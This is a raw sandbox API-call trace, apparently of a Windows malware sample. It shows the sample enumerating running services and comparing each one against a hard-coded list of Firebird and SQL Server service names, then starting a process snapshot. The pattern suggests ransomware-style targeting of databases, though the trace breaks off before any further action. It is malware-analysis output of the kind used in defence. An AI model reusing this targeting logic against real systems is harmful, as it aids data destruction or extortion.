(dwMilliseconds=0x1f4) [0269.284] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69a180 [0269.284] EnumServicesStatusExW (in: hSCManager=0x69a180, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0269.285] GetLastError () returned 0xea [0269.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1cc6) returned 0x4599438 [0269.286] EnumServicesStatusExW (in: hSCManager=0x69a180, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4599438, cbBufSize=0x1cc6, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4599438, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0269.286] CloseServiceHandle (hSCObject=0x69a180) returned 1 [0269.287] lstrlenW (lpString="Appinfo") returned 7 [0269.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0269.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0269.287] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0269.287] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0269.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0269.287] lstrlenW (lpString="AppXSvc") returned 7 [0269.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0269.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0269.287] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0269.287] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0269.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0269.287] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0269.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0269.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0269.287] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0269.287] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0269.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0269.287] lstrlenW (lpString="Audiosrv") returned 8 [0269.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0269.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0269.288] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0269.288] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0269.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0269.288] lstrlenW (lpString="BFE") returned 3 [0269.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0269.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0269.288] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0269.288] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0269.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0269.288] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0269.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0269.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0269.288] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0269.288] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0269.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0269.288] lstrlenW (lpString="CDPSvc") returned 6 [0269.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0269.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0269.288] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0269.288] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0269.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0269.288] lstrlenW (lpString="ClickToRunSvc") returned 13 [0269.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0269.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0269.289] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0269.289] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0269.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0269.289] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0269.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0269.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0269.289] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0269.289] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0269.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0269.289] lstrlenW (lpString="CryptSvc") returned 8 [0269.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0269.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0269.289] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0269.289] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0269.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0269.289] lstrlenW (lpString="DcomLaunch") returned 10 [0269.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0269.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0269.289] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0269.289] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0269.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0269.289] lstrlenW (lpString="DeviceAssociationService") returned 24 [0269.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0269.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0269.289] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0269.289] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0269.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0269.290] lstrlenW (lpString="Dhcp") returned 4 [0269.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0269.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0269.290] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0269.290] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0269.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0269.290] lstrlenW (lpString="DmEnrollmentSvc") returned 15 [0269.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DmEnrollmentSvc") returned 1 [0269.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DmEnrollmentSvc") returned 1 [0269.290] lstrcmpiW (lpString1="sqlwriter", lpString2="DmEnrollmentSvc") returned 1 [0269.290] lstrcmpiW (lpString1="mssqlserver", lpString2="DmEnrollmentSvc") returned 1 [0269.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DmEnrollmentSvc") returned 1 [0269.290] lstrlenW (lpString="Dnscache") returned 8 [0269.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0269.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0269.290] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0269.290] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0269.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0269.290] lstrlenW (lpString="DPS") returned 3 [0269.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0269.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0269.290] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0269.290] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0269.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0269.290] lstrlenW (lpString="DusmSvc") returned 7 [0269.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0269.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0269.291] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0269.291] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0269.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0269.291] lstrlenW (lpString="EventLog") returned 8 [0269.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0269.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0269.291] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0269.291] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0269.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0269.291] lstrlenW (lpString="EventSystem") returned 11 [0269.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0269.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0269.291] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0269.291] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0269.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0269.291] lstrlenW (lpString="FontCache") returned 9 [0269.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0269.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0269.291] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0269.291] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0269.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0269.291] lstrlenW (lpString="gpsvc") returned 5 [0269.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0269.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0269.292] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0269.292] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0269.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0269.292] lstrlenW (lpString="iphlpsvc") returned 8 [0269.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0269.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0269.292] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0269.292] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0269.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0269.292] lstrlenW (lpString="KeyIso") returned 6 [0269.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0269.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0269.292] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0269.292] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0269.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0269.292] lstrlenW (lpString="LanmanServer") returned 12 [0269.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0269.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0269.292] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0269.292] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0269.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0269.292] lstrlenW (lpString="LanmanWorkstation") returned 17 [0269.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0269.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0269.292] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0269.292] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0269.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0269.293] lstrlenW (lpString="lfsvc") returned 5 [0269.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0269.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0269.293] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0269.293] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0269.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0269.293] lstrlenW (lpString="lmhosts") returned 7 [0269.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0269.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0269.293] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0269.293] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0269.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0269.293] lstrlenW (lpString="LSM") returned 3 [0269.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0269.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0269.293] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0269.293] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0269.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0269.293] lstrlenW (lpString="MpsSvc") returned 6 [0269.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0269.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0269.293] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0269.293] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0269.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0269.293] lstrlenW (lpString="NcbService") returned 10 [0269.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0269.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0269.294] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0269.294] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0269.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0269.294] lstrlenW (lpString="netprofm") returned 8 [0269.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0269.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0269.655] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0269.655] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0269.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0269.655] lstrlenW (lpString="NgcSvc") returned 6 [0269.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0269.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0269.655] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0269.655] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0269.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0269.655] lstrlenW (lpString="NlaSvc") returned 6 [0269.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0269.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0269.655] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0269.655] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0269.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0269.655] lstrlenW (lpString="nsi") returned 3 [0269.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0269.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0269.655] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0269.655] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0269.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0269.655] lstrlenW (lpString="PcaSvc") returned 6 [0269.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0269.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0269.656] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0269.656] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0269.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0269.656] lstrlenW (lpString="PlugPlay") returned 8 [0269.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0269.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0269.656] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0269.656] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0269.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0269.656] lstrlenW (lpString="Power") returned 5 [0269.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0269.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0269.656] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0269.656] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0269.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0269.656] lstrlenW (lpString="ProfSvc") returned 7 [0269.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0269.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0269.656] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0269.656] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0269.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0269.656] lstrlenW (lpString="RpcEptMapper") returned 12 [0269.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0269.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0269.656] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0269.656] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0269.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0269.656] lstrlenW (lpString="RpcSs") returned 5 [0269.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0269.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0269.657] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0269.657] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0269.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0269.657] lstrlenW (lpString="SamSs") returned 5 [0269.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0269.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0269.657] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0269.657] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0269.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0269.657] lstrlenW (lpString="Schedule") returned 8 [0269.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0269.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0269.657] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0269.657] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0269.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0269.657] lstrlenW (lpString="SecurityHealthService") returned 21 [0269.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0269.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0269.657] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0269.657] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0269.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0269.657] lstrlenW (lpString="SENS") returned 4 [0269.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0269.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0269.657] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0269.657] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0269.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0269.658] lstrlenW (lpString="ShellHWDetection") returned 16 [0269.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0269.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0269.658] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0269.658] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0269.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0269.658] lstrlenW (lpString="Spooler") returned 7 [0269.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0269.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0269.658] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0269.658] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0269.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0269.658] lstrlenW (lpString="StateRepository") returned 15 [0269.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0269.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0269.658] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0269.658] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0269.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0269.658] lstrlenW (lpString="SysMain") returned 7 [0269.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0269.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0269.658] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0269.658] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0269.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0269.658] lstrlenW (lpString="SystemEventsBroker") returned 18 [0269.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0269.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0269.658] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0269.658] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0269.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0269.658] lstrlenW (lpString="Themes") returned 6 [0269.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0269.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0269.659] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0269.659] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0269.659] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0269.659] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x530 [0269.663] Process32FirstW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0269.664] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0269.664] lstrlenW (lpString="System") returned 6 [0269.665] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0269.665] lstrlenW (lpString="smss.exe") returned 8 [0269.665] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0269.666] lstrlenW (lpString="csrss.exe") returned 9 [0269.666] Process32NextW (in: hSnapshot=0x530, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, 